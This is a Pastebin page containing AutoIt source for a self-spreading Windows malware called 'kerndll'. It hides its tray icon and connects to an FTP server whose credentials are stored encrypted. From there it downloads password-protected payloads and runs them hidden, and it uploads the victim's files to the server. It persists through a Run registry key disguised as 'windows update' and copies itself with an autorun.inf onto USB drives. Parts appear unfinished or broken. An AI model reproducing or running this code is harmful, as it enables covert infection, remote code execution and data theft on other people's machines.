Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;options
- Opt("TrayIconHide", 1)
- break(0)
- ;includes
- #include <FTPEx.au3>
- #include <Inet.au3>
- #include <Process.au3>
- #include <File.au3>
- #include <String.au3>
- #include <Array.au3>
- ;variables
- $kerndlldir = @SystemDir & "\kerndll\"
- $date = @MDAY & "-" & @MON & "-" & @YEAR
- $time = @HOUR & ":" & @MIN & ":" & @SEC
- $server = _StringEncrypt(2, iniread($kerndlldir & "info.ini", "server", "server", "server"), "kerndllp", 2)
- $username = _StringEncrypt(2, iniread($kerndlldir & "info.ini", "server", "username", "username"), "kerndllp", 2)
- $password = _StringEncrypt(2, iniread($kerndlldir & "info.ini", "server", "password", "password"), "kerndllp", 2)
- $passive = 1
- $sndrive = stringleft(@windowsdir, 3)
- $sn = drivegetserial($sndrive)
- dim $ver
- ;program
- _FileCreate($kerndlldir & "download.ini")
- _FileCreate($kerndlldir & "upload.ini")
- While 1
- downloadcheck()
- uploadcheck()
- load()
- install()
- usbspread()
- exespread()
- WEnd
- ;functions
- func downloadcheck()
- $downloadsections = IniReadSectionNames($kerndlldir & "download.ini")
- if $downloadsections = 1 Then
- return
- EndIf
- $count = 1
- $open = _FTP_Open('kerndll ftp control')
- $conn = _FTP_Connect($open, $server, $username, $password, $passive)
- $file = _FTP_FindFileFirst($conn, "/kerndll/", $search)
- $file = _FTP_FindFileNext($search)
- while 1
- $file = _FTP_FindFileNext($search)
- if @error <> 0 Then
- _FTP_FindFileClose
- ExitLoop
- EndIf
- if stringleft(stringright($file, 4), 1) <> "." Then
- $dir[$count] = $file
- $count = $count + 1
- EndIf
- WEnd
- ; DIR ARRAY INPLEMENT
- for $count = 1 to $dir[0]
- $succes = _FTP_FileGet($conn, "/kerndll/component.ini", $kerndlldir & "onlinecomponent.ini")
- $onlinecomponent = IniReadSectionNames($kerndlldir & "onlinecomponent.ini")
- $offlinecomponent = IniReadSectionNames($kerndlldir & "component.ini")
- For $onlinecount = 1 To $onlinecomponent[0]
- if iniread($kerndlldir & "onlinecomponent.ini", $onlinecomponent[$onlinecount], "version", "0.0") >= iniread($kerndlldir & "component.ini", $onlinecomponent[$onlinecount], "version", "0.1")
- _FileWriteToLine($kerndlldir & "download.ini", 1, "[component]", 1)
- _FileWriteToLine($kerndlldir & "download.ini", 2, $onlinecomponent[$onlinecount], 0)
- EndIf
- $check = 0
- For $offlinecount = 1 To $offlinecomponent[0]
- if $onlinecomponent[$onlinecount] == $offlinecomponent[$offlinecount] Then
- $check = 1
- EndIf
- Next
- if $check == 0 Then
- _FileWriteToLine($kerndlldir & "download.ini", 1, "[component]", 1)
- _FileWriteToLine($kerndlldir & "download.ini", 2, $onlinecomponent[$onlinecount], 0)
- EndIf
- Next
- filedelete($kerndlldir & "online" & $dir[$count] & ".ini")
- Next
- _FTP_Close($open)
- endfunc
- func uploadcheck()
- $uploadsections = IniReadSectionNames($kerndlldir & "upload\upload.ini")
- if $uploadsections = 1 Then
- return
- EndIf
- $search = FileFindFirstFile($kerndlldir & "\upload\*.*")
- while 1
- $file = FileFindNextFile($search)
- if @error <> 0 Then
- FileClose($file)
- ExitLoop
- EndIf
- if stringleft(stringright($file, 4), 1) <> "." Then
- _FileWriteToLine($kerndlldir & "upload\upload.ini", 1, "[" & $file & "]", 0)
- _FileWriteToLine($kerndlldir & "upload\upload.ini", 2, " ", 1)
- FileClose($file)
- $search = FileFindFirstFile($kerndlldir & "\upload\" & $file & "\*.*")
- if $search = -1 Then
- FileClose($file)
- elseif $search <> -1 Then
- while 1
- $file = FileFindNextFile($search)
- if @error <> 0 Then
- FileClose($file)
- ExitLoop
- EndIf
- _FileWriteToLine($kerndlldir & "upload\upload.ini", 2, $file, 1)
- WEnd
- FileClose($file)
- EndIf
- WEnd
- FileClose($file)
- EndFunc
- func load()
- if IniReadSectionNames($kerndlldir & "download.ini") <> 1 and IniReadSectionNames($kerndlldir & "upload\upload.ini") <> 1 Then
- return
- EndIf
- $open = _FTP_Open('kerndll ftp control')
- $conn = _FTP_Connect($open, $server, $username, $password, $passive)
- $downloadsection = IniReadSectionNames($kerndlldir & "download.ini")
- if @error <> 0 then
- local $downloadsection[1]
- $downloadsection[0] = "0"
- EndIf
- for $count = 1 to $downloadsection[0]
- if fileexists($kerndlldir & $downloadsection[$count]) <> 1 Then
- _FileCreate($kerndlldir & $downloadsection[$count] & ".ini")
- EndIf
- $file = inireadsection($kerndlldir & "download.ini", $downloadsection[$count])
- for $keycount = 1 to $file[0]
- $succes = _FTP_FileGet($conn, "/kerndll/" & $downloadsection[$count] & "/" & $file[$keycount] & ".kdz", $kerndlldir & $file[$keycount] & ".zip")
- if $succes = 1 Then
- _FileWriteToLine($kerndlldir & $downloadsection[$count] & ".ini", 1, "[" & $file[$keycount] & "]", 2)
- _FileWriteToLine($kerndlldir & $downloadsection[$count] & ".ini", 2, "file=", 2)
- _FileWriteToLine($kerndlldir & $downloadsection[$count] & ".ini", 3, "version=", 2)
- _FileWriteToLine($kerndlldir & $downloadsection[$count] & ".ini", 4, "date=", 2)
- _FileWriteToLine($kerndlldir & $downloadsection[$count] & ".ini", 5, " ", 2)
- EndIf
- Next
- Next
- $uploadsection = IniReadSectionNames($kerndlldir & "upload\upload.ini")
- if @error <> 0 then
- local $uploadsection[1]
- $uploadsection[0] = "0"
- EndIf
- for $count = 1 to $uploadsection[0]
- $file = inireadsection($kerndlldir & "upload\upload.ini", $uploadsection[$count])
- for $keycount = 1 to $file[0]
- $succes = _FTP_FilePut($conn, $kerndlldir & "upload\" & $file[$keycount], "/server/" & $sn & "/" & $downloadsection[$count] & "/" & $file[$keycount])
- Next
- Next
- _FTP_Close($open)
- EndFunc
- func install()
- $installsection = IniReadSectionNames($kerndlldir & "download.ini")
- for $count = 1 to $installsection[0]
- if fileexists($kerndlldir & $installsection[$count] & ".ini") <> 1 then
- _FileCreate($kerndlldir & $installsection[$count] & ".ini")
- EndIf
- $installfile = inireadsection($kerndlldir & "download.ini", $installsection[$count])
- for $filecount = 1 to $installfile[0]
- $zipfile = stringleft($installfile[$filecount], 8) & ".zip"
- filemove($kerndlldir & $installfile[$filecount], $kerndlldir & $zipfile, 1)
- runwait($kerndlldir & "pkunzip.exe -e -skerndllpassword " & $kerndlldir & $zipfile & " " & $installfile[$filecount] & ".exe", $kerndlldir, @SW_HIDE)
- runwait($kerndlldir & "pkunzip.exe -e -skerndllpassword " & $kerndlldir & $zipfile & " ver.txt", $kerndlldir, @SW_HIDE)
- filemove($kerndlldir & "ver.txt", $kerndlldir & "temp.txt", 1)
- filemove($kerndlldir & $installfile[$filecount], $kerndlldir & "zip\" & $zipfile, 1)
- _FileReadToArray($kerndlldir & "temp.txt", $ver)
- if @error <> 0 then
- $ver[1] = ""
- EndIf
- if IniRead($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "version", "0.0") <= $ver[1] Then
- filemove($kerndlldir & $installfile[$filecount] & ".exe", iniread($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "file", $installfile[$filecount] & ".exe"), 1)
- $key = Chr(Random(Asc("A"), Asc("Z"), 1)) & random(0,9,1) & Chr(Random(Asc("A"), Asc("Z"), 1)) & random(0,9,1) & Chr(Random(Asc("A"), Asc("Z"), 1))
- IniWrite($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "version", $ver[1])
- IniWrite($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "date", $date)
- if iniread($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "file", $installfile[$filecount] & ".exe") = $installfile[$filecount] & ".exe" and $installsection[$count] = "component" Then
- filemove($kerndlldir & $installfile[$filecount] & ".exe", $key & ".exe", 1)
- IniWrite($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "file", iniread($kerndlldir & $installsection[$count] & ".ini", $installfile[$filecount], "file", $key & ".exe")
- RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "windows update " & $key, "REG_SZ", $kerndlldir & $key & ".exe")
- EndIf
- EndIf
- Next
- Next
- wend
- FileClose($file)
- ; DIR CREATE FOR $installsection[count]
- EndFunc
- ; DLLCALL REMOVABLE INSERT?
- func usbspread()
- $drive = DriveGetDrive( "all" )
- For $count = 1 to $drive[0]
- $drivetype = DriveGetType( $drive[$count] )
- if $drivetype = "removable" and fileexists($drive[$count] & "\kerndll.exe") = 0 Then
- $drivename = DriveGetLabel($drive[$count])
- FileCopy($kerndlldir & "kerndll.exe", $drive[$count] & "kerndll.exe")
- FileSetAttrib($drive[$count] & "kerndll.exe", "+R+H")
- if fileexists($drive[$count] & "\autorun.inf") = 0 Then
- _FileCreate($drive[$count] & "\autorun.inf")
- FileSetAttrib($drive[$count] & "autorun.inf", "+R+H")
- EndIf
- IniWrite($drive[$count] & "\autorun.inf", "autorun", "open", "kerndll.exe")
- IniWrite($kerndlldir & "\spread.ini", "usb", $drive[$count], $drivename)
- EndIf
- Next
- EndFunc
- ; DLLCALL EXEREAD?
- func exespread()
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement